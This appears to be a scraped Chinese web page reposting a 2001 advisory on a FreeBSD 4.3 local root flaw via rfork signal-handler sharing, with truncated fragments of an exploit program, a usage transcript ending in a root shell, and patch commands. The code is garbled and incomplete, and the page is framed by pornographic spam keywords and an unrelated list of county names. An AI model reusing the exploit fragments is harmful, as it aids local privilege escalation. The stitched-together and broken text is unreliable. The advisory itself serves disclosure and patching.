最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

本地攻擊者利用FreeBSD4.3設(shè)計漏洞取得系統(tǒng)特權(quán)

 更新時間:2006年11月03日 00:00:00   作者:  

發(fā)現(xiàn) FreeBSD 4.3 存在一個設(shè)計上的漏洞,它允許用戶在其它進(jìn)程中插入 signal handlers。問題出在 rfork(RFPROC|RFSIGSHARE) ,如果子進(jìn)程 exec() 一個 setuid 程序,然后父進(jìn)程設(shè)置一個 signal handlers,這個 signal handlers 將會在子進(jìn)程中被復(fù)制。發(fā)送一個信號給子進(jìn)程將能導(dǎo)致 signal handlers 被執(zhí)行。
利用此漏洞,本地攻擊者能取得 root 權(quán)限。
以下代碼僅僅用來測試和研究這個漏洞,如果您將其用于不正當(dāng)?shù)耐緩秸埡蠊载?fù)
-------------vvfreebsd.c----------------------
/}
}
printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);
if(!(pid=rfork(RFPROC|RFSIGSHARE)))
{
printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
kill(pid,MYSIG);
printf("done\n");
while(42);
}
...............................
.........................
.............
受影響版本:
FreeBSD 4.3 4.2 4.1 4.0
早期版本也許受影響
解決方案:
尚無
****** 2001-07-14 add by NetDemon(netdemon@20cn.net) ******
測試程序使用方法:
netdemon%gcc -o vvbsd vvbsd.c
netdemon%cp /bin/sh /tmp
netdemon%./vvbsd
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe71
child=61056
login:
login: # done
#
FreeBSD以此作出補丁
方法:
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc
# cd /usr/src/sys/kern
# patch -p < /path/to/patch

相關(guān)文章

最新評論

锡林郭勒盟| 张掖市| 海晏县| 安新县| 莱阳市| 千阳县| 连江县| 阳西县| 西青区| 霍州市| 池州市| 马鞍山市| 陆良县| 宝兴县| 南充市| 长顺县| 长寿区| 泗水县| 荔浦县| 巴中市| 津市市| 琼结县| 通山县| 莱芜市| 饶河县| 礼泉县| 老河口市| 雅江县| 丘北县| 新兴县| 丰顺县| 扎囊县| 吉安县| 尉犁县| 兰考县| 嵊泗县| 靖州| 腾冲县| 铁岭县| 广汉市| 景德镇市|